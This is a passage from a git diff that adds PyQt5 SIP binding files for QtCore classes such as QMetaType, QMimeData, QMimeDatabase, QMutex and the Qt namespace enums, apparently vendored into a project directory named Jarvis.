0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)) const; +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = sipCpp->invoke(a0, a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8, *a9, *a10, *a11); + Py_END_ALLOW_THREADS + + if (ok) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + qtcore_invoke_exception(); +%End + + SIP_PYOBJECT invoke(QObject *object, QGenericArgument value0 = QGenericArgument(0u, 0u), QGenericArgument value1 = QGenericArgument(0u, 0u), QGenericArgument value2 = QGenericArgument(0u, 0u), QGenericArgument value3 = QGenericArgument(0u, 0u), QGenericArgument value4 = QGenericArgument(0u, 0u), QGenericArgument value5 = QGenericArgument(0u, 0u), QGenericArgument value6 = QGenericArgument(0u, 0u), QGenericArgument value7 = QGenericArgument(0u, 0u), QGenericArgument value8 = QGenericArgument(0u, 0u), QGenericArgument value9 = QGenericArgument(0u, 0u)) const; +%MethodCode + // Raise an exception if the call failed. + bool ok; + + Py_BEGIN_ALLOW_THREADS + ok = sipCpp->invoke(a0, *a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8, *a9, *a10); + Py_END_ALLOW_THREADS + + if (ok) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + qtcore_invoke_exception(); +%End + + int methodIndex() const; + bool isValid() const; + QByteArray methodSignature() const; + QByteArray name() const; + int returnType() const; + int parameterCount() const; + int parameterType(int index) const; +}; + +class QMetaEnum +{ +%TypeHeaderCode +#include +%End + +public: + QMetaEnum(); + const char *name() const; + bool isFlag() const; + int keyCount() const; + const char *key(int index) const; + int value(int index) const; + const char *scope() const; + int keyToValue(const char *key, bool *ok = 0) const; + const char *valueToKey(int value) const; + int keysToValue(const char *keys, bool *ok = 0) const; + QByteArray valueToKeys(int value) const; + bool isValid() const; +%If (Qt_5_8_0 -) + bool isScoped() const; +%End +%If (Qt_5_12_0 -) + const char *enumName() const; +%End +}; + +class QMetaProperty +{ +%TypeHeaderCode +#include +%End + +public: + QMetaProperty(); + const char *name() const; + const char *typeName() const; + QVariant::Type type() const; + bool isReadable() const; + bool isWritable() const; + bool isDesignable(const QObject *object = 0) const; + bool isScriptable(const QObject *object = 0) const; + bool isStored(const QObject *object = 0) const; + bool isFlagType() const; + bool isEnumType() const; + QMetaEnum enumerator() const; + QVariant read(const QObject *obj) const; + bool write(QObject *obj, const QVariant &value) const; + bool reset(QObject *obj) const; + bool hasStdCppSet() const; + bool isValid() const; + bool isResettable() const; + bool isUser(const QObject *object = 0) const; + int userType() const; + bool hasNotifySignal() const; + QMetaMethod notifySignal() const; + int notifySignalIndex() const; + int propertyIndex() const; + bool isConstant() const; + bool isFinal() const; +%If (Qt_5_14_0 -) + int relativePropertyIndex() const; +%End +%If (Qt_5_15_0 -) + bool isRequired() const; +%End +}; + +class QMetaClassInfo +{ +%TypeHeaderCode +#include +%End + +public: + QMetaClassInfo(); + const char *name() const; + const char *value() const; +}; + +bool operator==(const QMetaMethod &m1, const QMetaMethod &m2); +bool operator!=(const QMetaMethod &m1, const QMetaMethod &m2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmetatype.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmetatype.sip new file mode 100644 index 00000000..f110c5be --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmetatype.sip @@ -0,0 +1,174 @@ +// qmetatype.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMetaType +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + UnknownType, + Void, + Bool, + Int, + UInt, + LongLong, + ULongLong, + Double, + QChar, + QVariantMap, + QVariantList, + QVariantHash, + QString, + QStringList, + QByteArray, + QBitArray, + QDate, + QTime, + QDateTime, + QUrl, + QLocale, + QRect, + QRectF, + QSize, + QSizeF, + QLine, + QLineF, + QPoint, + QPointF, + QRegExp, + LastCoreType, + FirstGuiType, + QFont, + QPixmap, + QBrush, + QColor, + QPalette, + QIcon, + QImage, + QPolygon, + QRegion, + QBitmap, + QCursor, + QSizePolicy, + QKeySequence, + QPen, + QTextLength, + QTextFormat, + QMatrix, + QTransform, + VoidStar, + Long, + Short, + Char, + ULong, + UShort, + UChar, + Float, + QObjectStar, + QMatrix4x4, + QVector2D, + QVector3D, + QVector4D, + QQuaternion, + QEasingCurve, + QVariant, + QUuid, + QModelIndex, + QPolygonF, + SChar, + QRegularExpression, + QJsonValue, + QJsonObject, + QJsonArray, + QJsonDocument, +%If (Qt_5_4_0 -) + QByteArrayList, +%End +%If (Qt_5_5_0 -) + QPersistentModelIndex, +%End +%If (Qt_5_12_0 -) + QCborSimpleType, +%End +%If (Qt_5_12_0 -) + QCborValue, +%End +%If (Qt_5_12_0 -) + QCborArray, +%End +%If (Qt_5_12_0 -) + QCborMap, +%End +%If (Qt_5_15_0 -) + QColorSpace, +%End + User, + }; + + static int type(const char *typeName); + static const char *typeName(int type); + static bool isRegistered(int type); +%If (- Qt_5_15_0) + explicit QMetaType(const int type); +%End +%If (Qt_5_15_0 -) + explicit QMetaType(const int type = QMetaType::Type::UnknownType); +%End + ~QMetaType(); + + enum TypeFlag + { + NeedsConstruction, + NeedsDestruction, + MovableType, + PointerToQObject, + IsEnumeration, + }; + + typedef QFlags TypeFlags; + static QMetaType::TypeFlags typeFlags(int type); + QMetaType::TypeFlags flags() const; + bool isValid() const; + bool isRegistered() const; + static const QMetaObject *metaObjectForType(int type); +%If (Qt_5_13_0 -) + int id() const; +%End +%If (Qt_5_15_0 -) + QByteArray name() const; +%End + +private: + QMetaType(const QMetaType &other); +}; + +QFlags operator|(QMetaType::TypeFlag f1, QFlags f2); +%If (Qt_5_15_0 -) +bool operator==(const QMetaType &a, const QMetaType &b); +%End +%If (Qt_5_15_0 -) +bool operator!=(const QMetaType &a, const QMetaType &b); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimedata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimedata.sip new file mode 100644 index 00000000..53b2b69f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimedata.sip @@ -0,0 +1,59 @@ +// qmimedata.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMimeData : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QMimeData(); + virtual ~QMimeData(); + QList urls() const; + void setUrls(const QList &urls); + bool hasUrls() const; + QString text() const; + void setText(const QString &text); + bool hasText() const; + QString html() const; + void setHtml(const QString &html); + bool hasHtml() const; + QVariant imageData() const; + void setImageData(const QVariant &image); + bool hasImage() const; + QVariant colorData() const; + void setColorData(const QVariant &color); + bool hasColor() const; + QByteArray data(const QString &mimetype) const; + void setData(const QString &mimetype, const QByteArray &data); + virtual bool hasFormat(const QString &mimetype) const; + virtual QStringList formats() const; + void clear(); + void removeFormat(const QString &mimetype); + +protected: + virtual QVariant retrieveData(const QString &mimetype, QVariant::Type preferredType) const; + +private: + QMimeData(const QMimeData &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimedatabase.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimedatabase.sip new file mode 100644 index 00000000..40c4daf3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimedatabase.sip @@ -0,0 +1,54 @@ +// qmimedatabase.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMimeDatabase +{ +%TypeHeaderCode +#include +%End + +public: + QMimeDatabase(); + ~QMimeDatabase(); + QMimeType mimeTypeForName(const QString &nameOrAlias) const; + + enum MatchMode + { + MatchDefault, + MatchExtension, + MatchContent, + }; + + QMimeType mimeTypeForFile(const QString &fileName, QMimeDatabase::MatchMode mode = QMimeDatabase::MatchDefault) const; + QMimeType mimeTypeForFile(const QFileInfo &fileInfo, QMimeDatabase::MatchMode mode = QMimeDatabase::MatchDefault) const; + QList mimeTypesForFileName(const QString &fileName) const; + QMimeType mimeTypeForData(const QByteArray &data) const; + QMimeType mimeTypeForData(QIODevice *device) const; + QMimeType mimeTypeForUrl(const QUrl &url) const; + QMimeType mimeTypeForFileNameAndData(const QString &fileName, QIODevice *device) const; + QMimeType mimeTypeForFileNameAndData(const QString &fileName, const QByteArray &data) const; + QString suffixForFileName(const QString &fileName) const; + QList allMimeTypes() const; + +private: + QMimeDatabase(const QMimeDatabase &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimetype.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimetype.sip new file mode 100644 index 00000000..0885c09c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmimetype.sip @@ -0,0 +1,57 @@ +// qmimetype.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMimeType +{ +%TypeHeaderCode +#include +%End + +public: + QMimeType(); + QMimeType(const QMimeType &other); + ~QMimeType(); + void swap(QMimeType &other /Constrained/); + bool operator==(const QMimeType &other) const; + bool operator!=(const QMimeType &other) const; + bool isValid() const; + bool isDefault() const; + QString name() const; + QString comment() const; + QString genericIconName() const; + QString iconName() const; + QStringList globPatterns() const; + QStringList parentMimeTypes() const; + QStringList allAncestors() const; + QStringList aliases() const; + QStringList suffixes() const; + QString preferredSuffix() const; + bool inherits(const QString &mimeTypeName) const; + QString filterString() const; +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmutex.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmutex.sip new file mode 100644 index 00000000..623907e0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qmutex.sip @@ -0,0 +1,97 @@ +// qmutex.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMutexLocker +{ +%TypeHeaderCode +#include +%End + +public: + explicit QMutexLocker(QMutex *m) /ReleaseGIL/; +%If (Qt_5_14_0 -) + explicit QMutexLocker(QRecursiveMutex *m) /ReleaseGIL/; +%End + ~QMutexLocker(); + void unlock(); + void relock() /ReleaseGIL/; + QMutex *mutex() const; + SIP_PYOBJECT __enter__(); +%MethodCode + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + sipCpp->unlock(); +%End + +private: + QMutexLocker(const QMutexLocker &); +}; + +class QMutex +{ +%TypeHeaderCode +#include +%End + +public: + enum RecursionMode + { + NonRecursive, + Recursive, + }; + + explicit QMutex(QMutex::RecursionMode mode = QMutex::NonRecursive); + ~QMutex(); + void lock() /ReleaseGIL/; + bool tryLock(int timeout = 0) /ReleaseGIL/; + void unlock() /ReleaseGIL/; +%If (Qt_5_7_0 -) + bool isRecursive() const; +%End +%If (- Qt_5_7_0) +// Methods implemented in QBasicMutex. +bool isRecursive(); +%End + +private: + QMutex(const QMutex &); +}; + +%If (Qt_5_14_0 -) + +class QRecursiveMutex : private QMutex /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + QRecursiveMutex(); + ~QRecursiveMutex(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qnamespace.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qnamespace.sip new file mode 100644 index 00000000..b996935e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qnamespace.sip @@ -0,0 +1,1835 @@ +// qnamespace.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace Qt +{ +%TypeHeaderCode +#include +%End + + enum GlobalColor + { + color0, + color1, + black, + white, + darkGray, + gray, + lightGray, + red, + green, + blue, + cyan, + magenta, + yellow, + darkRed, + darkGreen, + darkBlue, + darkCyan, + darkMagenta, + darkYellow, + transparent, + }; + + enum KeyboardModifier + { + NoModifier, + ShiftModifier, + ControlModifier, + AltModifier, + MetaModifier, + KeypadModifier, + GroupSwitchModifier, + KeyboardModifierMask, + }; + + typedef QFlags KeyboardModifiers; + + enum Modifier + { + META, + SHIFT, + CTRL, + ALT, + MODIFIER_MASK, + UNICODE_ACCEL, + }; + + enum MouseButton + { + NoButton, + AllButtons, + LeftButton, + RightButton, + MidButton, + MiddleButton, + XButton1, + XButton2, + BackButton, + ExtraButton1, + ForwardButton, + ExtraButton2, + TaskButton, + ExtraButton3, + ExtraButton4, + ExtraButton5, + ExtraButton6, + ExtraButton7, + ExtraButton8, + ExtraButton9, + ExtraButton10, + ExtraButton11, + ExtraButton12, + ExtraButton13, + ExtraButton14, + ExtraButton15, + ExtraButton16, + ExtraButton17, + ExtraButton18, + ExtraButton19, + ExtraButton20, + ExtraButton21, + ExtraButton22, + ExtraButton23, + ExtraButton24, + }; + + typedef QFlags MouseButtons; + + enum Orientation + { + Horizontal, + Vertical, + }; + + typedef QFlags Orientations; + + enum FocusPolicy + { + NoFocus, + TabFocus, + ClickFocus, + StrongFocus, + WheelFocus, + }; + + enum SortOrder + { + AscendingOrder, + DescendingOrder, + }; + + enum AlignmentFlag + { + AlignLeft, + AlignLeading, + AlignRight, + AlignTrailing, + AlignHCenter, + AlignJustify, + AlignAbsolute, + AlignHorizontal_Mask, + AlignTop, + AlignBottom, + AlignVCenter, + AlignVertical_Mask, + AlignCenter, +%If (Qt_5_2_0 -) + AlignBaseline, +%End + }; + + typedef QFlags Alignment; + + enum TextFlag + { + TextSingleLine, + TextDontClip, + TextExpandTabs, + TextShowMnemonic, + TextWordWrap, + TextWrapAnywhere, + TextDontPrint, + TextIncludeTrailingSpaces, + TextHideMnemonic, + TextJustificationForced, + }; + + enum TextElideMode + { + ElideLeft, + ElideRight, + ElideMiddle, + ElideNone, + }; + + enum WindowType + { + Widget, + Window, + Dialog, + Sheet, + Drawer, + Popup, + Tool, + ToolTip, + SplashScreen, + Desktop, + SubWindow, + WindowType_Mask, + MSWindowsFixedSizeDialogHint, + MSWindowsOwnDC, + X11BypassWindowManagerHint, + FramelessWindowHint, + CustomizeWindowHint, + WindowTitleHint, + WindowSystemMenuHint, + WindowMinimizeButtonHint, + WindowMaximizeButtonHint, + WindowMinMaxButtonsHint, + WindowContextHelpButtonHint, + WindowShadeButtonHint, + WindowStaysOnTopHint, +%If (- Qt_5_8_0) + WindowOkButtonHint, +%End +%If (- Qt_5_8_0) + WindowCancelButtonHint, +%End + WindowStaysOnBottomHint, + WindowCloseButtonHint, + MacWindowToolBarButtonHint, + BypassGraphicsProxyWidget, + WindowTransparentForInput, + WindowOverridesSystemGestures, + WindowDoesNotAcceptFocus, + NoDropShadowWindowHint, + WindowFullscreenButtonHint, +%If (Qt_5_1_0 -) + ForeignWindow, +%End +%If (Qt_5_1_0 -) + BypassWindowManagerHint, +%End +%If (Qt_5_2_0 -) + CoverWindow, +%End +%If (Qt_5_5_0 -) + MaximizeUsingFullscreenGeometryHint, +%End + }; + + typedef QFlags WindowFlags; + + enum WindowState + { + WindowNoState, + WindowMinimized, + WindowMaximized, + WindowFullScreen, + WindowActive, + }; + + typedef QFlags WindowStates; + + enum WidgetAttribute + { + WA_Disabled, + WA_UnderMouse, + WA_MouseTracking, + WA_OpaquePaintEvent, + WA_StaticContents, + WA_LaidOut, + WA_PaintOnScreen, + WA_NoSystemBackground, + WA_UpdatesDisabled, + WA_Mapped, + WA_MacNoClickThrough, + WA_InputMethodEnabled, + WA_WState_Visible, + WA_WState_Hidden, + WA_ForceDisabled, + WA_KeyCompression, + WA_PendingMoveEvent, + WA_PendingResizeEvent, + WA_SetPalette, + WA_SetFont, + WA_SetCursor, + WA_NoChildEventsFromChildren, + WA_WindowModified, + WA_Resized, + WA_Moved, + WA_PendingUpdate, + WA_InvalidSize, + WA_MacMetalStyle, + WA_CustomWhatsThis, + WA_LayoutOnEntireRect, + WA_OutsideWSRange, + WA_GrabbedShortcut, + WA_TransparentForMouseEvents, + WA_PaintUnclipped, + WA_SetWindowIcon, + WA_NoMouseReplay, + WA_DeleteOnClose, + WA_RightToLeft, + WA_SetLayoutDirection, + WA_NoChildEventsForParent, + WA_ForceUpdatesDisabled, + WA_WState_Created, + WA_WState_CompressKeys, + WA_WState_InPaintEvent, + WA_WState_Reparented, + WA_WState_ConfigPending, + WA_WState_Polished, + WA_WState_OwnSizePolicy, + WA_WState_ExplicitShowHide, + WA_MouseNoMask, + WA_GroupLeader, + WA_NoMousePropagation, + WA_Hover, + WA_InputMethodTransparent, + WA_QuitOnClose, + WA_KeyboardFocusChange, + WA_AcceptDrops, + WA_WindowPropagation, + WA_NoX11EventCompression, + WA_TintedBackground, + WA_X11OpenGLOverlay, + WA_AttributeCount, + WA_AlwaysShowToolTips, + WA_MacOpaqueSizeGrip, + WA_SetStyle, + WA_MacBrushedMetal, + WA_SetLocale, + WA_MacShowFocusRect, + WA_MacNormalSize, + WA_MacSmallSize, + WA_MacMiniSize, + WA_LayoutUsesWidgetRect, + WA_StyledBackground, + WA_MSWindowsUseDirect3D, + WA_MacAlwaysShowToolWindow, + WA_StyleSheet, + WA_ShowWithoutActivating, + WA_NativeWindow, + WA_DontCreateNativeAncestors, + WA_MacVariableSize, + WA_DontShowOnScreen, + WA_X11NetWmWindowTypeDesktop, + WA_X11NetWmWindowTypeDock, + WA_X11NetWmWindowTypeToolBar, + WA_X11NetWmWindowTypeMenu, + WA_X11NetWmWindowTypeUtility, + WA_X11NetWmWindowTypeSplash, + WA_X11NetWmWindowTypeDialog, + WA_X11NetWmWindowTypeDropDownMenu, + WA_X11NetWmWindowTypePopupMenu, + WA_X11NetWmWindowTypeToolTip, + WA_X11NetWmWindowTypeNotification, + WA_X11NetWmWindowTypeCombo, + WA_X11NetWmWindowTypeDND, + WA_MacFrameworkScaled, + WA_TranslucentBackground, + WA_AcceptTouchEvents, + WA_TouchPadAcceptSingleTouchEvents, + WA_X11DoNotAcceptFocus, + WA_MacNoShadow, +%If (Qt_5_4_0 -) + WA_AlwaysStackOnTop, +%End +%If (Qt_5_9_0 -) + WA_TabletTracking, +%End +%If (Qt_5_11_0 -) + WA_ContentsMarginsRespectsSafeArea, +%End +%If (Qt_5_12_0 -) + WA_StyleSheetTarget, +%End + }; + + enum ImageConversionFlag + { + AutoColor, + ColorOnly, + MonoOnly, + ThresholdAlphaDither, + OrderedAlphaDither, + DiffuseAlphaDither, + DiffuseDither, + OrderedDither, + ThresholdDither, + AutoDither, + PreferDither, + AvoidDither, + NoOpaqueDetection, + NoFormatConversion, + }; + + typedef QFlags ImageConversionFlags; + + enum BGMode + { + TransparentMode, + OpaqueMode, + }; + + enum Key + { + Key_Escape, + Key_Tab, + Key_Backtab, + Key_Backspace, + Key_Return, + Key_Enter, + Key_Insert, + Key_Delete, + Key_Pause, + Key_Print, + Key_SysReq, + Key_Clear, + Key_Home, + Key_End, + Key_Left, + Key_Up, + Key_Right, + Key_Down, + Key_PageUp, + Key_PageDown, + Key_Shift, + Key_Control, + Key_Meta, + Key_Alt, + Key_CapsLock, + Key_NumLock, + Key_ScrollLock, + Key_F1, + Key_F2, + Key_F3, + Key_F4, + Key_F5, + Key_F6, + Key_F7, + Key_F8, + Key_F9, + Key_F10, + Key_F11, + Key_F12, + Key_F13, + Key_F14, + Key_F15, + Key_F16, + Key_F17, + Key_F18, + Key_F19, + Key_F20, + Key_F21, + Key_F22, + Key_F23, + Key_F24, + Key_F25, + Key_F26, + Key_F27, + Key_F28, + Key_F29, + Key_F30, + Key_F31, + Key_F32, + Key_F33, + Key_F34, + Key_F35, + Key_Super_L, + Key_Super_R, + Key_Menu, + Key_Hyper_L, + Key_Hyper_R, + Key_Help, + Key_Direction_L, + Key_Direction_R, + Key_Space, + Key_Any, + Key_Exclam, + Key_QuoteDbl, + Key_NumberSign, + Key_Dollar, + Key_Percent, + Key_Ampersand, + Key_Apostrophe, + Key_ParenLeft, + Key_ParenRight, + Key_Asterisk, + Key_Plus, + Key_Comma, + Key_Minus, + Key_Period, + Key_Slash, + Key_0, + Key_1, + Key_2, + Key_3, + Key_4, + Key_5, + Key_6, + Key_7, + Key_8, + Key_9, + Key_Colon, + Key_Semicolon, + Key_Less, + Key_Equal, + Key_Greater, + Key_Question, + Key_At, + Key_A, + Key_B, + Key_C, + Key_D, + Key_E, + Key_F, + Key_G, + Key_H, + Key_I, + Key_J, + Key_K, + Key_L, + Key_M, + Key_N, + Key_O, + Key_P, + Key_Q, + Key_R, + Key_S, + Key_T, + Key_U, + Key_V, + Key_W, + Key_X, + Key_Y, + Key_Z, + Key_BracketLeft, + Key_Backslash, + Key_BracketRight, + Key_AsciiCircum, + Key_Underscore, + Key_QuoteLeft, + Key_BraceLeft, + Key_Bar, + Key_BraceRight, + Key_AsciiTilde, + Key_nobreakspace, + Key_exclamdown, + Key_cent, + Key_sterling, + Key_currency, + Key_yen, + Key_brokenbar, + Key_section, + Key_diaeresis, + Key_copyright, + Key_ordfeminine, + Key_guillemotleft, + Key_notsign, + Key_hyphen, + Key_registered, + Key_macron, + Key_degree, + Key_plusminus, + Key_twosuperior, + Key_threesuperior, + Key_acute, + Key_mu, + Key_paragraph, + Key_periodcentered, + Key_cedilla, + Key_onesuperior, + Key_masculine, + Key_guillemotright, + Key_onequarter, + Key_onehalf, + Key_threequarters, + Key_questiondown, + Key_Agrave, + Key_Aacute, + Key_Acircumflex, + Key_Atilde, + Key_Adiaeresis, + Key_Aring, + Key_AE, + Key_Ccedilla, + Key_Egrave, + Key_Eacute, + Key_Ecircumflex, + Key_Ediaeresis, + Key_Igrave, + Key_Iacute, + Key_Icircumflex, + Key_Idiaeresis, + Key_ETH, + Key_Ntilde, + Key_Ograve, + Key_Oacute, + Key_Ocircumflex, + Key_Otilde, + Key_Odiaeresis, + Key_multiply, + Key_Ooblique, + Key_Ugrave, + Key_Uacute, + Key_Ucircumflex, + Key_Udiaeresis, + Key_Yacute, + Key_THORN, + Key_ssharp, + Key_division, + Key_ydiaeresis, + Key_AltGr, + Key_Multi_key, + Key_Codeinput, + Key_SingleCandidate, + Key_MultipleCandidate, + Key_PreviousCandidate, + Key_Mode_switch, + Key_Kanji, + Key_Muhenkan, + Key_Henkan, + Key_Romaji, + Key_Hiragana, + Key_Katakana, + Key_Hiragana_Katakana, + Key_Zenkaku, + Key_Hankaku, + Key_Zenkaku_Hankaku, + Key_Touroku, + Key_Massyo, + Key_Kana_Lock, + Key_Kana_Shift, + Key_Eisu_Shift, + Key_Eisu_toggle, + Key_Hangul, + Key_Hangul_Start, + Key_Hangul_End, + Key_Hangul_Hanja, + Key_Hangul_Jamo, + Key_Hangul_Romaja, + Key_Hangul_Jeonja, + Key_Hangul_Banja, + Key_Hangul_PreHanja, + Key_Hangul_PostHanja, + Key_Hangul_Special, + Key_Dead_Grave, + Key_Dead_Acute, + Key_Dead_Circumflex, + Key_Dead_Tilde, + Key_Dead_Macron, + Key_Dead_Breve, + Key_Dead_Abovedot, + Key_Dead_Diaeresis, + Key_Dead_Abovering, + Key_Dead_Doubleacute, + Key_Dead_Caron, + Key_Dead_Cedilla, + Key_Dead_Ogonek, + Key_Dead_Iota, + Key_Dead_Voiced_Sound, + Key_Dead_Semivoiced_Sound, + Key_Dead_Belowdot, + Key_Dead_Hook, + Key_Dead_Horn, + Key_Back, + Key_Forward, + Key_Stop, + Key_Refresh, + Key_VolumeDown, + Key_VolumeMute, + Key_VolumeUp, + Key_BassBoost, + Key_BassUp, + Key_BassDown, + Key_TrebleUp, + Key_TrebleDown, + Key_MediaPlay, + Key_MediaStop, + Key_MediaPrevious, + Key_MediaNext, + Key_MediaRecord, + Key_HomePage, + Key_Favorites, + Key_Search, + Key_Standby, + Key_OpenUrl, + Key_LaunchMail, + Key_LaunchMedia, + Key_Launch0, + Key_Launch1, + Key_Launch2, + Key_Launch3, + Key_Launch4, + Key_Launch5, + Key_Launch6, + Key_Launch7, + Key_Launch8, + Key_Launch9, + Key_LaunchA, + Key_LaunchB, + Key_LaunchC, + Key_LaunchD, + Key_LaunchE, + Key_LaunchF, + Key_MediaLast, + Key_Select, + Key_Yes, + Key_No, + Key_Context1, + Key_Context2, + Key_Context3, + Key_Context4, + Key_Call, + Key_Hangup, + Key_Flip, + Key_unknown, + Key_Execute, + Key_Printer, + Key_Play, + Key_Sleep, + Key_Zoom, + Key_Cancel, + Key_MonBrightnessUp, + Key_MonBrightnessDown, + Key_KeyboardLightOnOff, + Key_KeyboardBrightnessUp, + Key_KeyboardBrightnessDown, + Key_PowerOff, + Key_WakeUp, + Key_Eject, + Key_ScreenSaver, + Key_WWW, + Key_Memo, + Key_LightBulb, + Key_Shop, + Key_History, + Key_AddFavorite, + Key_HotLinks, + Key_BrightnessAdjust, + Key_Finance, + Key_Community, + Key_AudioRewind, + Key_BackForward, + Key_ApplicationLeft, + Key_ApplicationRight, + Key_Book, + Key_CD, + Key_Calculator, + Key_ToDoList, + Key_ClearGrab, + Key_Close, + Key_Copy, + Key_Cut, + Key_Display, + Key_DOS, + Key_Documents, + Key_Excel, + Key_Explorer, + Key_Game, + Key_Go, + Key_iTouch, + Key_LogOff, + Key_Market, + Key_Meeting, + Key_MenuKB, + Key_MenuPB, + Key_MySites, + Key_News, + Key_OfficeHome, + Key_Option, + Key_Paste, + Key_Phone, + Key_Calendar, + Key_Reply, + Key_Reload, + Key_RotateWindows, + Key_RotationPB, + Key_RotationKB, + Key_Save, + Key_Send, + Key_Spell, + Key_SplitScreen, + Key_Support, + Key_TaskPane, + Key_Terminal, + Key_Tools, + Key_Travel, + Key_Video, + Key_Word, + Key_Xfer, + Key_ZoomIn, + Key_ZoomOut, + Key_Away, + Key_Messenger, + Key_WebCam, + Key_MailForward, + 